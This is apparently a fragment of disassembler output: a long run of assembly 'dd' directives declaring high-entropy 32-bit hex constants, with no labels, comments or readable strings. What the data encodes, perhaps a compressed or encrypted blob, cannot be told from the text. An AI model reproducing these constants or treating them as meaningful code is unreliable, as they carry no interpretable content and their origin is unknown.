		dd 5BA3671Dh, 5E242E43h, 0D1DA30DDh, 197B368h, 0D6A56DA2h
		dd 9E87D60h, 1F63E95Dh,	8127D377h, 0BE2B99B9h, 14127B45h
		dd 781266BDh, 24CD2016h, 0FF4BC23Eh, 0C5E789D0h, 0A1A95012h
		dd 0F2CE3DEFh, 7F242BDCh, 2FCAF3Fh, 0CCC5895Ah,	6BE91672h
		dd 6AECF584h, 0E1560404h, 0A5A5BB12h, 10BCCB6Ah, 77B5BC4h
		dd 5A56F1F7h, 0BCD7B4C6h, 94386939h, 0A0BF7008h, 7C372319h
		dd 400AB0E6h, 5F71BE55h, 0B331B42Ch, 9BA83417h,	94745CE2h
		dd 0D1DC75FAh, 0F4139CC2h, 0BC746499h, 0EC2000AAh, 7686659h
		dd 662DE919h, 41DDB078h, 56EA3B44h, 2E0F0962h, 64EFF076h
		dd 7FE4103Dh, 0C209268Ah, 350F0B76h, 0B9138990h, 318B6409h
		dd 61ECF1D0h, 2FAD71E9h, 5F782EA2h, 0BED7C5A3h,	7DFBACC4h
		dd 0EF16445Dh, 94DD4788h, 4B680F52h, 2C41CC53h,	31988295h
		dd 813048C1h, 255C0FE1h, 0AB0C57D1h, 0D248F787h, 56150638h
		dd 95F0DA51h, 0C825AB56h, 81803BE7h, 4475205Ch,	737D469Fh
		dd 3E3200D3h, 538DE381h, 0CCE2DB1h, 39D2873Bh, 0B548EBC0h
		dd 0F0B95BDBh, 0EA4180DEh, 0A47F1F4h, 581DA211h, 49B117A4h
		dd 635DBD86h, 95D1D18Ah, 3E4E1824h, 16E2D636h, 6604FC10h
		dd 904037FCh, 6671787Dh, 0EC6105Eh, 7F36AF81h, 91BAFF00h
		dd 0F43FD203h, 0AB2FFB7Ch, 0BD30D22Dh, 0B1C7AB2Eh, 0A2500DB7h
		dd 98455EF5h, 765175Eh,	45EBC47h, 5AC40A67h, 44D69DC1h
		dd 8303F93Fh, 9BC50966h, 0F5940B58h, 868A0F26h,	413E3B43h
		dd 4FB05FBFh, 1BD6C71Eh, 2B74C90h, 5F6064AEh, 4589DDFBh
		dd 8869F601h, 0D920AADFh, 693A3100h, 5AA4BE73h,	0BD124CE1h
		dd 25950628h, 90D5FEF8h, 0B7AF745Ch, 7DCDB468h,	3A2E082h
		dd 2442510h, 0E9CAB87Fh, 0AED7D0B8h, 304A4909h,	0F0EE2907h
		dd 29DE9D19h, 1762F258h, 9F28F9C7h, 3A681C53h, 3AFD2548h
		dd 0CF765F1Eh, 13D89667h, 0B11DE858h, 8583187Bh, 0DC7E78C7h
		dd 32FF01CAh, 33B27526h, 23D89490h, 9F4CFB88h, 98C31Ch
		dd 0B1602841h, 0F5920Ah, 0D6BA52ADh, 2927D238h,	81C9D79Ch
		dd 4121EF76h, 5122DC8h,	2969B96Ah, 990D80F0h, 361774Ch
		dd 681BCE42h, 4B07A720h, 2B65C915h, 0E819405Dh,	0C2C64A16h
		dd 1D005FD9h, 199E75A9h, 13ABD397h, 0D34EBF23h,	3F12FFC3h
		dd 680E03CFh, 0BA124601h, 0CB65ADDAh, 11323353h, 0D2F604DCh
		dd 0A22C0EFEh, 76533211h, 62AC5CD1h, 5C0B94A0h,	0D7C8268h
		dd 0EA540CD4h, 0C21A5B49h, 948FD601h, 38E46C42h, 31783942h
		dd 0AB82ED9Eh, 7B6F7175h, 0EEBD0997h, 0B4018B50h, 80DCF6C3h
		dd 0CCCCA7E4h, 0FFD4F0ECh, 2267D7D7h, 0F458E302h, 0D8886197h
		dd 0D4C1CD51h, 8B7D59CAh, 0B777BE97h, 3E170DEDh, 0E00DFD85h
		dd 0A9859971h, 0EF18E8C1h, 42E04481h, 12F5E00Dh, 5ED0FEBCh
		dd 2064810Ah, 46BF02E1h, 3C23CC07h, 57955F6Bh, 8C27499h
		dd 90E54FE9h, 3B47F3FAh, 72651B25h, 181CF03Bh, 0E64B2A41h
		dd 7C302630h, 0D3932A2Eh, 2164BD9h, 80E236Ch, 819BD8FFh
		dd 0EA55B08h, 0D149E255h, 0D37927E9h, 1496F569h, 30506812h
		dd 0F5C41DEDh, 5D505A28h, 53E4CA40h, 4A05C105h,	60C6CA87h
		dd 3FE91208h, 21D99CDAh, 0DD61C15Ah, 416F3FCEh,	9B0AEA9Fh
		dd 27A92B46h, 672D6F00h, 0F968E97Ch, 0B40AD19Fh, 0FAA8C447h
		dd 0ABB8D8Ch, 5940343h,	52300394h, 0A6092E2Ah, 83F54F45h
		dd 3B6C0CD0h, 0FCA5E033h, 0BE31A405h, 2568772Ch, 0EAE63BB5h
		dd 501F0D4Eh, 0D1405B49h, 71108404h, 0C752C1A6h, 769B7CEFh
		dd 8C12E84Ah, 4CDF1FADh, 0F1653816h, 0ADE92241h, 0A4FE8754h
		dd 0D6400B8Ah, 0E0535B55h, 3E4B4CE1h, 3714F2B6h, 0E3855228h
		dd 0C769A46Dh, 58B71F3Ch, 0C9005AF0h, 0F236FEB9h, 7FFC953Bh
		dd 821E0350h, 9E7BE6F2h, 387C5B81h, 0BCA6CC9Eh,	0ED0E8016h
		dd 0AEFD289Ah, 0CC53BFC5h
		dd 0E119D385h, 92E08AEh, 0A78228E9h, 7E5AFCB6h,	0B0A5FCFBh
		dd 0E7E27D82h, 3D4214DCh, 51F3200Dh, 210A047Ch,	94154A68h
		dd 0F539598Bh, 4D9989CCh, 906EE5C6h, 9CDEC997h,	0DEC0084h
		dd 9BE96854h, 519D8104h, 0A3FB05C1h, 579269AFh,	7A121201h
		dd 52E3C5Eh, 6D9D9EF6h,	7121C2BAh, 0C79D8976h, 9DF14CE7h
		dd 2CC57248h, 294AB179h, 84066FCh, 1C9FE5Eh, 11271486h
		dd 6A49D1F7h, 94886CF1h, 0B53A0C25h, 81FEB915h,	0FDD0F660h
		dd 1CE87E27h, 60711CCBh, 7F9CFF69h, 5DD20827h, 74A28818h
		dd 0DDFE7E2Ch, 0FDA1E904h, 5EF08C91h, 4FBBEC7Eh, 606F14AEh
		dd 3BC2852Fh, 2600CD7Dh, 0AAB645F3h, 65BF0B16h,	0EA32E0CBh
		dd 2A317016h, 498AD900h, 38E91393h, 0EB4A1A6Ch,	263045D9h
		dd 0E1082753h, 0B0D9181Bh, 75162BB7h, 1CFA6616h, 0E980C184h
		dd 0C99D2C8Fh, 0AC4ED833h, 0A93C2F95h, 8237DEEAh, 0B578C8EEh
		dd 2ABBA0C1h, 0FE4B13BFh, 71123A19h, 0B476BDD8h, 34F50876h
		dd 20055912h, 2D8812A5h, 0DDAF4F19h, 10383985h,	573B9ABEh
		dd 5E87672Dh, 9D33F1B9h, 5BFC2F28h, 97D0C50h, 564E99C7h
		dd 0DFB0B2F8h, 75EE594Ah, 5D8AFE5h, 685F13FAh, 0E945C18Ch
		dd 7A2F6872h, 661EDC25h, 0BDCAB872h, 91815EDAh,	46A22A8Ch
		dd 4F710BD3h, 851A25B0h, 0B0AF4EB7h, 0F63A4B7Ah, 0E3FA12CFh
		dd 1698A6BFh, 0E809D7F6h, 0BC6B04FDh, 95058AB0h, 8EDEC529h
		dd 26F22F08h, 0FF1245Dh, 23B37F7Ch, 8F2E9CCh, 63355B00h
		dd 69A7012Bh, 4E876E2Dh, 0C8982A34h, 56C9C520h,	62D4FF68h
		dd 0FEF33382h, 432E01A1h, 2E422CFEh, 4416ADE8h,	4FBBF712h
		dd 4E8C56AFh, 0BC9275DBh, 8063C049h, 45213EBh, 87E9D4B6h
		dd 0F0FEA433h, 71C04417h, 0AEEEC4BBh, 0AFD3A7E9h, 0E56AEC88h
		dd 0D99316Ah, 21CC49C0h, 0E17D35Bh, 10204B43h, 2AA70E10h
		dd 78EA535Ah, 0AFB24F95h, 4807B610h, 0C89B27C2h, 95362D80h
		dd 552F884Dh, 2FD25F9Ch, 1CBB8BAFh, 4DA6C8E9h, 7E8BFD25h
		dd 5EB2A57Dh, 0E94960ABh, 65953162h, 4643095Ah,	0FCBD1814h
		dd 53A00282h, 0C5DD43BFh, 0FEE9454h, 135AE90Ch,	576E5EE3h
		dd 0DA0859h, 1A4C0EB8h,	310F0524h, 0E4261006h, 6F98A374h
		dd 43E460F4h, 7D085CDFh, 5BC595Ch, 57F613F9h, 85D50EBh
		dd 0B1B9E913h, 0D23C32B0h, 80335407h, 0EC30EA97h, 0B8E1305Ch
		dd 0EDB5203Eh, 594CCAE0h, 0C0C9095Dh, 0D09107E0h, 0E52C6033h
		dd 880FC2AFh, 0F18044C0h, 831D8D4Ah, 1CBEEA8Eh,	0FB08A3E4h
		dd 0E8C00327h, 2CA1FE08h, 0F608A7C6h, 1C615A8Eh, 58E7C8CCh
		dd 5FF05264h, 68511C16h, 247992E0h, 10F6C601h, 5CBF035Eh
		dd 0D23B8154h, 9A6850C9h, 0BADEBF05h, 4224F72Dh, 0AD52C489h
		dd 55851016h, 31139348h, 3A7F216Bh, 4FA053Fh, 0FE41EE06h
		dd 5C3538h, 0E5768468h,	29E9593Ah, 10D8AF56h, 0A94A64C9h
		dd 77680922h, 69BF4411h, 0F957D77Dh, 0E6D42F99h, 68D1616Eh
		dd 0A555C19h, 5AE43A41h, 0E4362218h, 0C12FD41h,	0D43AEE0Ch
		dd 7561650Dh, 0DB8852B5h, 8E80B810h, 60C0E14Fh,	7F1264C9h
		dd 0B70F3428h, 35800151h, 2422D631h, 9A3994D4h,	0E9406785h
		dd 4AAFFCD7h, 13978EAEh, 1A56C0E9h, 0E9FC68AEh,	5CA1095Eh
		dd 0BD4EB87Fh, 0AB4D856Bh, 7617AAF7h, 9528AE1Ch, 0E50F41CCh
		dd 2CF0C0B6h, 0B12C51E8h, 2312C809h, 0D7580D09h, 0D1318318h
		dd 0EBFECAE4h, 0ED2F7EB4h, 54681C9Fh, 0E9C2D972h, 92D514E3h
		dd 8A46FD34h, 4A9A6817h, 52DE68BBh, 0E916BA42h,	0ACA7431Fh
		dd 20E3F92Ch, 0D88392F3h, 2E304BC7h, 0FB989DB3h, 28E87D79h
		dd 0B753D809h, 0E7E70F72h, 0D34E0D0h, 0EF4182h,	5C0CF381h
		dd 7645E225h, 0D1C0722Eh, 92261DDAh, 0CC009A3Dh, 0E9DDCB46h
		dd 0A6235F93h, 0C48E41D7h, 2CC15510h, 4D5EA9EBh, 418FE920h
		dd 0F5D05464h, 65BA2BE1h, 39A3E164h, 0BE65D2F7h, 0FDDAD6BDh
		dd 627D71FFh, 3A4ADAE9h, 11450257h, 0A9D20C73h,	48133017h
		dd 660021C5h, 4F696718h, 76CE3F81h, 0E90A8F04h,	0D6FA88Ah
		dd 7D9F766h, 802C9520h,	20FBEA88h, 81609EA5h, 0EC9AC1E1h
		dd 0BD990235h, 44C811F6h, 7F4923D6h, 0B0FA2425h, 12242D19h
		dd 0B83ABC38h, 7A039285h, 145EB3A8h, 14ECDC1h, 564A74EBh
		dd 83B774F4h, 4E9AE850h, 0C15002F1h, 7040E0F0h,	3E9B7B97h
		dd 0C2124D74h, 4CD2EA4Ch, 2DE55402h, 5B5CEF7Ah,	7FC45942h
		dd 0EA0B2D2Bh, 131D16BDh, 9324C120h, 16A1385h, 1A5B6D3h
		dd 2E371BC3h, 88FA294Bh, 0C3008FFh, 4BBB27A2h, 3FC3B011h
		dd 5E6D6417h, 36101DB9h, 0E73078F3h, 0DB1C2202h, 9B95A375h
		dd 0EF7F010Dh, 71982B55h, 720E8C5Ah, 4EE94A77h,	3A8CF1B4h
		dd 0B092BBFh, 75FEE5BEh, 0F12DBBB0h, 72F92705h,	681C801h
		dd 0B7003165h, 0CF79FE18h, 8480224Fh, 9F204F29h, 8FB16F14h
		dd 0E6FB690Bh, 190B2027h, 0E7DBB48h, 7CD160EBh,	801700ADh
		dd 78343F42h, 1054FC1h,	4F199DA8h, 73A47F96h, 607B4121h
		dd 12268D9Eh, 0EE07D10Ah, 64ECACDFh, 0CACD4AC4h, 3C6B1041h
		dd 0F5295A04h, 0B344875Eh, 16030B58h, 9F6BDAB9h, 0D3D08D51h
		dd 14322B54h, 605585Fh,	5B996F50h, 72BFE75Ah, 1573D99Fh
		dd 0F713A915h, 2C6301DFh, 17AB7Ch, 5C35DE41h, 4920F512h
		dd 50E6BD0Fh, 0F821AB02h, 48F70087h, 0E932B965h, 0C6BF273Dh
		dd 57B0AC2h, 58B80990h,	0B8045052h, 3BFF294Eh, 19D9E280h
		dd 0E90209CBh, 0DC5AA6E1h, 0C7F5C17h, 0DE2DB00h, 17289846h
		dd 21123EE9h, 2F135402h, 0FF045124h, 0B913D433h, 0A31B937Dh
		dd 0A04C04C5h, 0F917BC4Ah, 0BB97345Fh, 0A4D9E8BBh, 0DA8461A2h
		dd 0FB39AB21h, 68147223h, 0AC1718C1h, 4732D130h, 879C2C25h
		dd 7EA5F488h, 3B466CA8h, 23C5254Dh, 458AAE47h, 8276CE40h
		dd 204B5A55h, 0DB222C8Bh, 1D01EC58h, 807DB490h,	0F26A6CE1h
		dd 2ECC126h, 0E9050E9Eh, 0A4BB6FAEh, 0FD9DC84Dh, 0BE0F1290h
		dd 0C4977CBDh, 54B392C7h, 5A279F44h, 0C3CD71F3h, 4B851F68h
		dd 9CF6877Ch, 8EBF0AB4h, 54EB7DECh, 533E320Dh, 0DD981A50h
		dd 6639692Fh, 35AF0966h, 12805F20h, 1ABF1527h, 92AFF89Dh
		dd 0AC673AB4h, 0EF9A6D9Ah, 0EB1F4074h, 0C1A157CCh, 15BE12F5h
		dd 0A637045Fh, 25D8AA80h, 0A7204AE2h, 0CC2F182Eh, 13CAF73Dh
		dd 167A506Ah, 8F590275h, 32752945h, 1FCED7D5h, 1DBB5307h
		dd 82090E4Ah, 77DBF730h, 0A282D274h, 6A2C4270h,	85FD6035h
		dd 0B70E2647h, 6F688E34h, 0F060FE56h, 1B7C4FCEh, 98C78364h
		dd 6750509Fh, 0E733C16Ch, 31581208h, 0AA0C1324h, 5312FCFCh
		dd 0D6ADE92Fh, 3E43599Bh, 8A8744BFh, 0F9BC8D07h, 602435AFh
		dd 3EE19761h, 0BF9985B0h, 7D092573h, 8496F5D4h,	80020790h
		dd 0C16F1B45h, 0D617E0E0h, 2CD91824h, 7BC31E57h, 89614698h
		dd 0F09DE9B6h, 0A6F3A3A6h, 20F8B7A5h, 0B85EB35Ch, 0E3318916h
		dd 0A7C654EFh, 0D14C2204h, 0A680EF0Bh, 645C6015h, 0A90E9842h
		dd 66CED2BFh, 1C58680Bh, 0B1AD6751h, 0A72F87C1h, 0F64A127Eh
		dd 0C817738Ah, 0EEE340EAh, 85A78B0h, 0B7E05D4Eh, 0E9540B55h
		dd 0C5F244BDh, 64B05B7Dh, 812C5920h, 0F36A72F6h, 2E90966Fh
		dd 97111E55h, 51F6B1E0h, 89E90FCBh, 0C843DE5Bh,	93273AF9h
		dd 0BA701498h, 17DDD682h, 4A3CEC17h, 558959FDh,	20EC9657h
		dd 409FA77Ah, 82C17192h, 603EB06h, 0BB95062Eh, 1F4E216h
		dd 180917BFh, 5639AF24h
		dd 0D9DBCBD9h, 89224AE7h, 2B0A3448h, 5F96A9Dh, 0EFC529AAh
		dd 11C78E04h, 7B79B6AAh, 98C0B125h, 1FF6C297h, 892AD7A1h
		dd 76146B1Bh, 4B77F4B5h, 0D05860F4h, 1E56053Eh,	22DF829h
		dd 0E2E95F07h, 0BD5025C9h, 334B81DAh, 4DDDF739h, 57A2C30h
		dd 89C901EAh, 0C3F804E8h, 57DDBC58h, 0E6A61210h, 0FC01B0A5h
		dd 0CE78FEF4h, 6F51D6CEh, 0C0D079Eh, 0DD4DD709h, 0E9CB5B19h
		dd 0B69F64D6h, 0ACD388CFh, 77DF6025h, 436B2F23h, 8351374h
		dd 0A17D90EFh, 0A62018E4h, 0F8895A01h, 0F5F93467h, 591CA4AFh
		dd 34983BFFh, 63D96044h, 703E89C2h, 2FFC765Fh, 1504FF4Ch
		dd 0EC0DD272h, 5965820h, 27C86B7Eh, 7C79F007h, 52C44085h
		dd 51855E94h, 66D5CB1h,	0AC31DA2Ch, 27FEA474h, 0E004A975h
		dd 0BC5DE994h, 7268044Eh, 3B65AF56h, 0E9F3E8FCh, 6A64E6E3h
		dd 5B9699EAh, 16B409B4h, 0DA2D26DCh, 5068D0A8h,	30283B5Ch
		dd 0F8CB4B36h, 98677253h, 0EA63A40h, 13837828h,	0A09E4097h
		dd 56C3E13Eh, 659CE21h,	6A03334Ah, 639EE0Eh, 6E1A8681h
		dd 121371D0h, 0EFEE30E9h, 5C2C2938h, 90443AE5h,	0EE445A01h
		dd 0E0AE5E25h, 0C4C058C6h, 4A7D719Dh, 0B74CF0E9h, 7096D814h
		dd 0B6BCE958h, 0FC643EA8h, 215CEE05h, 67C9525Fh, 2090F21Dh
		dd 3C903645h, 0CF137C5Bh, 8506A3ABh, 0FCE736A6h, 45292F7Bh
		dd 0D9711177h, 0C9F2F8E8h, 8D8BDFDDh, 5D2D36D4h, 0CCF76D0Bh
		dd 402FE1E9h, 7343E351h, 21983FC0h, 24404638h, 77A5BF02h
		dd 0E92C9F4Eh, 5FAFEA56h, 0A4A1B116h, 2C367ECDh, 1F7BF97Bh
		dd 9BD5659Eh, 5F25E144h, 7702A36Ah, 0C3210DB4h,	772DE52Eh
		dd 0EF5B9F84h, 0B242F461h, 0E4587160h, 82E64AE9h, 0E1483331h
		dd 394659Ch, 2D167CCBh,	729E0975h, 710A20B9h, 6CA85F5Fh
		dd 95495A19h, 3BAD2EDDh, 0BF8A70D2h, 53714407h,	0BE95612h
		dd 79ADEFC3h, 162625A9h, 28681A10h, 0D1F86A5Ah,	0D80F41C5h
		dd 451744D5h, 0D8E87B5Fh, 0E74ED80h, 0CC06FA9h,	9299DBACh
		dd 0BF79F8E9h, 3A3BE919h, 0CB50730Fh, 0BA9D846h, 54646853h
		dd 25C051D4h, 74E919D5h, 0BB26C095h, 781452EAh,	61BC4B5Fh
		dd 47445802h, 80FD093Ch, 3EFCF394h, 193248E8h, 0C1334004h
		dd 0C561C270h, 0A7F88D05h, 6CEA123Eh, 0C2800564h, 9279C5B0h
		dd 97605D8Bh, 0D122BE09h, 39695C3h, 6679B625h, 479D2093h
		dd 83CC43B5h, 0DC4BD2C3h, 0B8DF27D1h, 5849F2E3h, 8B69620Ch
		dd 8B53EE0h, 7295BFE0h,	8AB7254Eh, 61C9601Bh, 0E16C243Bh
		dd 20275290h, 80697173h, 0F164501h, 0BD205B8h, 0D86304FAh
		dd 0CE810056h, 0CE462AB0h, 6B22EEE8h, 747D7F4Eh, 7CB6099Fh
		dd 5477B4A2h, 16721957h, 0BAFCFBE4h, 3AC02067h,	81728398h
		dd 574A9F0Ch, 12590C44h, 0BC48464Fh, 4ED52E15h,	0AA69AC2h
		dd 71DA0B43h, 0F14E93FFh, 0BA041239h, 0F57A9DA1h, 4352CE92h
		dd 9A6DB97h, 0B4CAC768h, 0C9BCDBF5h, 0E90FB65Bh, 0FF1E5ACDh
		dd 0DA9286A0h, 0E19FDCD1h, 0FE3A53EEh, 51895A2Ch, 0D024EBD0h
		dd 694F0935h, 105E6C6Dh, 868AAAA6h, 85BDB61Fh, 15CC63AAh
		dd 0C118F9FCh, 0D1F59EE5h, 0E1065112h, 2023CDEEh, 0CDEE555Ch
		dd 0F9DE5097h, 7211F26Bh, 1476B4EDh, 0BC6D24FFh, 0A0E425F1h
		dd 3B2FC961h, 0B1124E17h, 6DA06EEEh, 9B9C39C7h,	452FF9D1h
		dd 0F1FCE9F7h, 20F22E3Dh, 0E3D3FFA4h, 0F1FE9244h, 0F99D0BB9h
		dd 0E8516EB1h, 139F1149h, 341235D9h, 329BEC53h,	0F55EADA7h
		dd 1A0B3464h, 527958h, 5F359B20h, 5EE8C416h, 0EB8AA31h
		dd 7A9EEAB0h, 0D94FB82Ah, 0FD97059Ah, 1857D6B2h, 0A47BE9C1h
		dd 18E303CCh, 0C105297Ch, 120508B3h, 14370FDh, 0C7408100h
		dd 0B729FB75h, 6B0227FEh, 0D7740611h, 0F3049DF0h, 3AB18088h
		dd 410FA5BFh, 6E4D286Ah, 899F6FE3h, 0A2B01A71h,	0A2002A19h
		dd 5DE82178h, 2EF5F305h, 3C81A7DDh, 53775B01h, 6FE5E955h
		dd 0B7AECE12h, 83F827A5h, 0FDC80120h, 2221F1AEh, 2BED1A16h
		dd 0AD78FD2Eh, 0F742E0Ch, 0A02D2E5Ch, 0B213E907h, 3B68147Bh
		dd 0B9805163h, 0E931F920h, 3A5FA5Dh, 7AD5C181h,	6AB4979Fh
		dd 2D2D7DFCh, 74A5DEDEh, 0D7E9C24Fh, 0CBE4A077h, 4F7A5548h
		dd 1C5DA910h, 5F2D1FA4h, 0F02589Eh, 0A368C8BFh,	774CF53Dh
		dd 530E4Dh, 0A03313BBh,	13B2BA6Bh, 9EB5236h, 370658B5h
		dd 891F0C0Ah, 55AD0132h, 3408F988h, 0B214170Ch,	0B1510F7Ah
		dd 0E25D098Ch, 796A55ECh, 682D63FCh, 103E2842h,	24C06BE9h
		dd 5F725201h, 57210946h, 228D9FBFh, 415BD913h, 65C171C0h
		dd 41D2481Ch, 0BD66F102h, 8FE0B33Bh, 0F3250368h, 0A0455C48h
		dd 3DE91708h, 0E803A502h, 0F397921Dh, 5FB8EF8h,	499DEB13h
		dd 0AE38D42Ah, 0B6CB6AF9h, 0ABF50EA9h, 4222766Ah, 444AC2B9h
		dd 51004A7Fh, 0A7454AB0h, 0CFBA15F4h, 165020EDh, 0E25582C1h
		dd 1058DD1Ch, 25EA16EAh, 4A5C0B52h, 0F89C31EFh,	0D58C7E5Fh
		dd 29425D53h, 0A4C9D837h, 7A1BC2Bh, 181C26BFh, 256BF40Bh
		dd 0AE6066E2h, 6B0B2DFCh, 0FEEA8755h, 96D31908h, 9E142873h
		dd 127CF08h, 0ECC061B4h, 54063F03h, 0F0659F4h, 58E62850h
		dd 0D068CE3Ch, 1FCE8FDFh, 456EEC0h, 520766ACh, 0F028FEB6h
		dd 0C3AF5A64h, 27845DD6h, 4832CC7h, 3880F4FEh, 0BEC828ACh
		dd 0DD051869h, 709D885Ah, 4EDDF449h, 66239C1Ch,	0BBFC504Bh
		dd 0EAEC9098h, 66B8CCE6h, 0ACBC9B2Eh, 0E1885185h, 55F087FFh
		dd 77F0E8F9h, 36BD9BFh,	4F21685Ch, 66A8AB84h, 0DBD60BF5h
		dd 4F0F1EF7h, 0F514FEF6h, 0A3BBE508h, 0A4A2D2D3h, 8591A85Eh
		dd 0E4AA36A9h, 0E3F2DDD9h, 0DE283158h, 0CECA7409h, 782097FAh
		dd 6D1748BDh, 0E505D2Ch, 0A383A04h, 7B7AE8AFh, 0C9F7B09h
		dd 34AB8252h, 0D16960FEh, 0D03905EAh, 0B0D6840Fh, 432D6883h
		dd 99EC671h, 4DF64099h,	0C0025E84h, 0A56FCD1h, 1FD70348h
		dd 1E737020h, 21305E9h,	80104139h, 0DA7294AEh, 10EF595Fh
		dd 0C05B08ACh, 0C21A9DC0h, 0E9463909h, 73BAB3Eh, 8D0C3123h
		dd 0EC2A4E51h, 3085A459h, 1A3C76ABh, 5940B809h,	2001588Fh
		dd 0BA2C5A3Dh, 2B009885h, 0F707EAC1h, 8104C0DAh, 0D259FCE2h
		dd 31E90638h, 55167577h, 7D255207h, 50E9FF5Eh, 5A5E9E16h
		dd 3D280AC1h, 3DE940E3h, 0C1308241h, 3FC445EBh,	87334BB2h
		dd 84ED38Ah, 0E98FC8EEh, 6784485Fh, 0B56BFCFAh,	96AB28FFh
		dd 0F0A6725Fh, 7DFBFC5Eh, 0F3A4DB24h, 0D588DD9Ah, 4FB0AE50h
		dd 1383425Dh, 0C4ACD731h, 74E8E9B8h, 73A8D5D7h,	0F47F7156h
		dd 31D39F15h, 8093ADBDh, 3DDDB8B3h, 0F77000ACh,	65BD2DD0h
		dd 485B7C3Ah, 90E69F1Eh, 6A39BC02h, 0F88277CEh,	0CCA26423h
		dd 0C6550C0Bh, 6A8D2C95h, 41FBA85Ch, 7413AB1h, 4D610442h
		dd 483EE22Bh, 0B0500346h, 0F8FA0CB4h, 2EC7883Dh, 931582E9h
		dd 8EBBB05Eh, 84BAD949h, 4413BC13h, 18048A11h, 9FE305AAh
		dd 163B450h, 41F3194Ah,	0B87FA5E6h, 9012AD55h, 4BA3E430h
		dd 0DE9BBA51h, 4559794Ch, 80B3C502h, 69548662h,	0FA431A3Fh
		dd 0E679F7A8h, 0E0688AB0h, 0BC43DE4Ch, 0FAC55964h, 5228CBA4h
		dd 0E825A552h, 688B73F1h, 7A30D78Bh, 5F818CFAh,	165AF020h
		dd 0C44C973h, 0C75B039Eh, 0CA7CF40Bh, 0EFDB253Ch, 7D0C081Ah
		dd 681790F8h, 0B9374093h, 0D3F85589h, 1513996h,	68FDE485h
		dd 0BE86220Ah, 772D6754h, 3BA1397h, 0BCE94FFAh,	813B5E79h
		dd 7F054C6Dh, 6A65EC32h
		dd 0DF9D6005h, 59081264h, 9403EA4Ah, 0BD23C77Eh, 51E30B82h
		dd 2BC13977h, 70AAB64Fh, 0C9D4301Dh, 0DADC1B54h, 0D8C80672h
		dd 0BAE9A32Ah, 498D895h, 52749FBBh, 4566801Fh, 1650EC6Ch
		dd 202868B8h, 0FF20D4B8h, 0B450161Dh, 0E8D00EFAh, 0D0A2C461h
		dd 0AD2288E4h, 0DE010C8Dh, 5B80E16Ah, 56C42D68h, 0C370C37Eh
		dd 3E556458h, 22BA999h,	21E422EBh, 0B0D477D7h, 7D8C5B18h
		dd 692D3901h, 917AB007h, 19D17141h, 10FD45BBh, 0A3750790h
		dd 0C0964F11h, 0E7685FD3h, 459075BAh, 0A06D6958h, 9448D668h
		dd 0BB53407Fh, 73091097h, 0C1FCE957h, 883E5C0Ah, 0D6400A31h
		dd 43CB0681h, 0AA7FF36Bh, 4940901h, 1529E980h, 0A36C8C2Bh
		dd 0C93BCA41h, 40093E22h, 2544F6F4h, 5FE7CC7Fh,	0E66F134Bh
		dd 909A7485h, 16BC71F1h, 68985307h, 3CB22A5Bh, 5BD59650h
		dd 31832CFEh, 765DEA25h, 3DB982ECh, 0B1C0D053h,	0B2B004E1h
		dd 0C006026Eh, 0F864BD55h, 14E3E9Eh, 0C0CD3664h, 0EABEED1Fh
		dd 399F0F26h, 80D32F2Fh, 322CE5EEh, 9C4A9D26h, 14E90801h
		dd 5B883AF3h, 7C9C0408h, 0EA5E4CEDh, 0FAA4EDEDh, 2D217DDEh
		dd 0D12EE905h, 5584C690h, 847D4F8Fh, 0E804C690h, 0E90384FDh
		dd 0F8D154E6h, 693F6002h, 20E63CCFh, 0FDBA5A0Fh, 0C8277A23h
		dd 0A69DD19Bh, 0C1F549CEh, 883D56DEh, 8D7327C4h, 0F49F60E5h
		dd 455C4D98h, 16A70052h, 0E6813523h, 4CAEECA3h,	892D9328h
		dd 9EB7F446h, 0FA534AC3h, 0B8B92E57h, 0FEF92576h, 5395AD4Ch
		dd 0CA01016Bh, 2F5AEFE9h, 4B4CF8F7h, 21297289h,	8BC5465Fh
		dd 5E37FAD2h, 1E7928DFh, 8FD05A1Dh, 0C7753A68h,	355BA316h
		dd 303D8016h, 590CF78h,	50E3C520h, 1F8BCC4Dh, 15A0497Fh
		dd 3114B66Fh, 97849DE8h, 546802CFh, 819F710Ah, 635B45FCh
		dd 6F9FDDE9h, 0E05AEFA2h, 935FC6E7h, 0CBA46EBCh, 5C977A90h
		dd 0D41D0D77h, 0CEC36FF0h, 0F8CA0AF7h, 0C9D665Bh, 75DB1D9Ah
		dd 127E2841h, 0C457BE0Eh, 0F65084ABh, 84409294h, 2EF02384h
		dd 0DFE91655h, 0C2135632h, 5E57C6B4h, 39133FABh, 0D7D447EFh
		dd 27068608h, 87A1F6B7h, 0A093258Bh, 6BE9D609h,	517009Ch
		dd 0A2E8D1E5h, 0FE95DA51h, 0FBE76783h, 7505625h, 0C4D28EE9h
		dd 0B76A5Ch, 0F2E95807h, 81D4977Eh, 4C39349h, 1828D40Ch
		dd 3EECBA22h, 679168C0h, 0E92D400Bh, 5FA484B3h,	204F3AEh
		dd 177AF4BBh, 0F7DC154h, 84707A97h, 0D736BB30h,	662FB2Ch
		dd 61DBE90Bh, 990881E5h, 0EEBE1362h, 5AED885h, 0BEC7AF93h
		dd 40D33088h, 4E605B97h, 9106C540h, 406FFA4Bh, 5277ACF5h
		dd 20123C2Dh, 0B5259D7Fh, 0C2011842h, 3A48AC50h, 0E91B8204h
		dd 0B5FE2420h, 0A3582F60h, 5340682Ah, 0D34CF754h, 0BB05214Dh
		dd 0ABA74DDCh, 247CE6C6h, 0C8EFE4BCh, 0D977C9A5h, 9F8072B4h
		dd 1B9F4673h, 0A70EE9F8h, 0C0793F35h, 544194F1h, 0BEFB825h
		dd 78CBAEACh, 5FE89689h, 8299F0A4h, 0EC804F34h,	300FCCEBh
		dd 0A60C11CFh, 555A6C08h, 8AC3C5C2h, 1422E708h,	8FAC2FF9h
		dd 4B64E916h, 1AF45CB2h, 80D26FC2h, 3EEBE84h, 164258E5h
		dd 0B23C305h, 293FC0Dh,	292A9D9Fh, 5457DF5h, 7A7EFE27h
		dd 0C26BA382h, 1D61BE00h, 5C7A603Fh, 3E4D5DF3h,	20BCDAB7h
		dd 60BF68D7h, 9BA6A5Ch,	0FD89AB5Ah, 0F70BABC5h,	6989F5DDh
		dd 873892FDh, 2979169Fh, 1C6DED8h, 0D41A79F2h, 9FE06B27h
		dd 541C788h, 568EDB7Dh,	280B2AAEh, 63087783h, 7099A909h
		dd 0E6E30795h, 17247A30h, 3BE9124Eh, 0A692BC36h, 0E5E841E2h
		dd 72FA4156h, 8915C459h, 0DD97CE75h, 162DCAA5h,	1922BF0Dh
		dd 260BDCC4h, 4E7AE949h, 0DCB70225h, 0D17D6960h, 5B75C932h
